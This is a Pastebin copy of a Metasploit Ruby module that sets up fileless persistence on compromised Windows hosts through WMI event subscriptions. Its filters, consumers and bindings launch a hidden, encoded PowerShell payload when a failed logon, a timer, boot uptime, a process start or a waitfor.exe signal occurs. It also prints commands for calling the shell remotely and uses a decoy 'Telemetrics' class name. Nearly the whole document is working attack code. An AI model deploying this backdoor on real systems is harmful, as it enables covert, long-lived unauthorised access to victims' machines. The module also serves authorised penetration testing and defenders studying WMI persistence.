Advertisement
Alonnso_888

PersistenceMetasploit

Jan 18th, 2019
185
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 13.34 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: https://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core/exploit/powershell'
  7. require 'msf/core/post/windows/powershell'
  8. require 'msf/core/post/file'
  9.  
  10. class MetasploitModule < Msf::Exploit::Local
  11.   Rank = NormalRanking
  12.  
  13.   include Msf::Post::Windows::Powershell
  14.   include Msf::Exploit::Powershell
  15.   include Post::Windows::Priv
  16.   include Msf::Post::File
  17.  
  18.   def initialize(info = {})
  19.     super(update_info(info,
  20.       'Name'             => 'WMI Event Subscription Persistence',
  21.       'Description'      => %q{
  22.           This module will create a permanent WMI event subscription to achieve file-less persistence using one
  23.           of five methods. The EVENT method will create an event filter that will query the event log for an EVENT_ID_TRIGGER
  24.           (default: failed logon request id 4625) that also contains a specified USERNAME_TRIGGER (note: failed logon auditing
  25.           must be enabled on the target for this method to work, this can be enabled using "auditpol.exe /set /subcategory:Logon
  26.          /failure:Enable"). When these criteria are met a command line event consumer will trigger an encoded powershell payload.
  27.           The INTERVAL method will create an event filter that triggers the payload after the specified CALLBACK_INTERVAL. The LOGON
  28.           method will create an event filter that will trigger the payload after the system has an uptime of 4 minutes. The PROCESS
  29.           method will create an event filter that triggers the payload when the specified process is started. The WAITFOR method
  30.           creates an event filter that utilizes the Microsoft binary waitfor.exe to wait for a signal specified by WAITFOR_TRIGGER
  31.           before executing the payload. The signal can be sent from a windows host on a LAN utilizing the waitfor.exe command
  32.           (note: requires target to have port 445 open). Additionally a custom command can be specified to run once the trigger is
  33.           activated using the advanced option CUSTOM_PS_COMMAND. This module requires administrator level privileges as well as a
  34.           high integrity process. It is also recommended not to use stageless payloads due to powershell script length limitations.
  35.         },
  36.       'Author'           => ['Nick Tyrer <@NickTyrer>'],
  37.       'License'          => MSF_LICENSE,
  38.       'Privileged'       => true,
  39.       'Platform'         => 'win',
  40.       'SessionTypes'  => ['meterpreter'],
  41.       'Targets'       => [['Windows', {}]],
  42.       'DisclosureDate' => 'Jun 6 2017',
  43.       'DefaultTarget'    => 0,
  44.       'DefaultOptions' =>
  45.         {
  46.           'DisablePayloadHandler' => 'true'
  47.         },
  48.       'References' => [
  49.         ['URL', 'https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf'],
  50.         ['URL', 'https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/']
  51.       ]
  52.     ))
  53.  
  54.     register_options([
  55.       OptEnum.new('PERSISTENCE_METHOD',
  56.         [true, 'Method to trigger the payload.', 'EVENT', ['EVENT','INTERVAL','LOGON','PROCESS', 'WAITFOR']]),
  57.       OptInt.new('EVENT_ID_TRIGGER',
  58.         [true, 'Event ID to trigger the payload. (Default: 4625)', 4625]),
  59.       OptString.new('USERNAME_TRIGGER',
  60.         [true, 'The username to trigger the payload. (Default: BOB)', 'BOB' ]),
  61.       OptString.new('PROCESS_TRIGGER',
  62.         [true, 'The process name to trigger the payload. (Default: CALC.EXE)', 'CALC.EXE' ]),
  63.       OptString.new('WAITFOR_TRIGGER',
  64.         [true, 'The word to trigger the payload. (Default: CALL)', 'CALL' ]),
  65.       OptInt.new('CALLBACK_INTERVAL',
  66.         [true, 'Time between callbacks (In milliseconds). (Default: 1800000).', 1800000 ]),
  67.       OptString.new('CLASSNAME',
  68.         [true, 'WMI event class name. (Default: UPDATER)', 'UPDATER' ])
  69.     ])
  70.  
  71.     register_advanced_options(
  72.       [
  73.         OptString.new('CUSTOM_PS_COMMAND',
  74.         [false, 'Custom powershell command to run once the trigger is activated. (Note: some commands will need to be encolsed in quotes)', false, ]),
  75.     ])
  76.   end
  77.  
  78.  
  79.   def exploit
  80.    unless have_powershell?
  81.       print_error("This module requires powershell to run")
  82.       return
  83.    end
  84.  
  85.    unless is_admin?
  86.       print_error("This module requires admin privs to run")
  87.       return
  88.    end
  89.  
  90.    unless is_high_integrity?
  91.       print_error("This module requires UAC to be bypassed first")
  92.       return
  93.    end
  94.  
  95.    if is_system?
  96.       print_error("This module cannot run as System")
  97.       return
  98.    end
  99.  
  100.    host = session.session_host
  101.    print_status('Installing Persistence...')
  102.  
  103.    case datastore['PERSISTENCE_METHOD']
  104.     when 'LOGON'
  105.       psh_exec(subscription_logon)
  106.       print_good "Persistence installed!"
  107.       remove_persistence
  108.     when 'INTERVAL'
  109.       psh_exec(subscription_interval)
  110.       print_good "Persistence installed!"
  111.       remove_persistence
  112.     when 'EVENT'
  113.       psh_exec(subscription_event)
  114.       print_good "Persistence installed! Call a shell using \"smbclient \\\\\\\\#{host}\\\\C$ -U "+datastore['USERNAME_TRIGGER']+" <arbitrary password>\""
  115.       remove_persistence
  116.     when 'PROCESS'
  117.       psh_exec(subscription_process)
  118.       print_good "Persistence installed!"
  119.       remove_persistence
  120.     when 'WAITFOR'
  121.       psh_exec(subscription_waitfor)
  122.       print_good "Persistence installed! Call a shell using \"waitfor.exe /S #{host} /SI "+datastore['WAITFOR_TRIGGER']+"\""
  123.       remove_persistence
  124.     end
  125.    end
  126.  
  127.  
  128.   def build_payload
  129.     if datastore['CUSTOM_PS_COMMAND']
  130.       script_in = datastore['CUSTOM_PS_COMMAND']
  131.       compressed_script = compress_script(script_in, eof = nil)
  132.       encoded_script = encode_script(compressed_script, eof = nil)
  133.       generate_psh_command_line(noprofile: true, windowstyle: 'hidden', encodedcommand: encoded_script)
  134.     else
  135.       cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, remove_comspec: true)
  136.     end
  137.   end
  138.  
  139.  
  140.   def subscription_logon
  141.    command = build_payload
  142.    class_name = datastore['CLASSNAME']
  143.    <<-HEREDOC
  144.     $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
  145.    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
  146.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
  147.   HEREDOC
  148.  end
  149.  
  150.  
  151.  def subscription_interval
  152.   command = build_payload
  153.   class_name = datastore['CLASSNAME']
  154.   callback_interval = datastore['CALLBACK_INTERVAL']
  155.   <<-HEREDOC
  156.    $timer = Set-WmiInstance -Namespace root/cimv2 -Class __IntervalTimerInstruction -Arguments @{ IntervalBetweenEvents = ([UInt32] #{callback_interval}); SkipIfPassed = $false; TimerID = \"Trigger\"}
  157.    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"Select * FROM __TimerEvent WHERE TimerID = 'trigger'\"; QueryLanguage = 'WQL'}
  158.    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
  159.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
  160.   HEREDOC
  161.  end
  162.  
  163.  
  164.  def subscription_event
  165.   command = build_payload
  166.   event_id = datastore['EVENT_ID_TRIGGER']
  167.   username = datastore['USERNAME_TRIGGER']
  168.   class_name = datastore['CLASSNAME']
  169.   <<-HEREDOC
  170.    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_NTLogEvent' AND Targetinstance.EventCode = '#{event_id}' And Targetinstance.Message Like '%#{username}%'\"; QueryLanguage = 'WQL'}
  171.    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
  172.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
  173.   HEREDOC
  174.  end
  175.  
  176.  
  177.  def subscription_process
  178.   command = build_payload
  179.   class_name = datastore['CLASSNAME']
  180.   process_name = datastore['PROCESS_TRIGGER']
  181.   <<-HEREDOC
  182.    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName= '#{process_name}'\"; QueryLanguage = 'WQL'}
  183.    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"#{command}\"}
  184.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
  185.   HEREDOC
  186.  end
  187.  
  188.  
  189.  def subscription_waitfor
  190.   command = build_payload
  191.   word = datastore['WAITFOR_TRIGGER']
  192.   class_name = datastore['CLASSNAME']
  193.   <<-HEREDOC
  194.    $filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"#{class_name}\"; Query = \"SELECT * FROM __InstanceDeletionEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND Targetinstance.Name = 'waitfor.exe'\"; QueryLanguage = 'WQL'}
  195.    $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"#{class_name}\"; CommandLineTemplate = \"cmd.exe /C waitfor.exe #{word} && #{command} && taskkill /F /IM cmd.exe\"}
  196.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}
  197.    $filter1 = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = 'root/cimv2'; Name = \"Telemetrics\"; Query = \"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"; QueryLanguage = 'WQL'}
  198.    $consumer1 = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = \"Telemetrics\"; CommandLineTemplate = \"waitfor.exe #{word}\"}
  199.    $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter1; Consumer = $Consumer1}
  200.    Start-Process -FilePath waitfor.exe #{word} -NoNewWindow
  201.   HEREDOC
  202.  end
  203.  
  204.  
  205.  def log_file
  206.    host = session.session_host
  207.    filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
  208.    logs = ::File.join(Msf::Config.log_directory, 'wmi_persistence',
  209.    Rex::FileUtils.clean_path(host + filenameinfo))
  210.    ::FileUtils.mkdir_p(logs)
  211.    logfile = ::File.join(logs, Rex::FileUtils.clean_path(host + filenameinfo) + '.rc')
  212.  end
  213.  
  214.  
  215.  def remove_persistence
  216.    name_class = datastore['CLASSNAME']
  217.    clean_rc = log_file
  218.      if datastore['PERSISTENCE_METHOD'] == "WAITFOR"
  219.        clean_up_rc = ""
  220.        clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
  221.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"Telemetrics\\\" DELETE\"\n"
  222.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"Telemetrics\\\"' DELETE\"\n"
  223.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
  224.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
  225.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
  226.       else
  227.         clean_up_rc = ""
  228.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
  229.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n"
  230.         clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\""
  231.       end
  232.     file_local_write(clean_rc, clean_up_rc)
  233.     print_status("Clean up Meterpreter RC file: #{clean_rc}")
  234.   end
  235. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement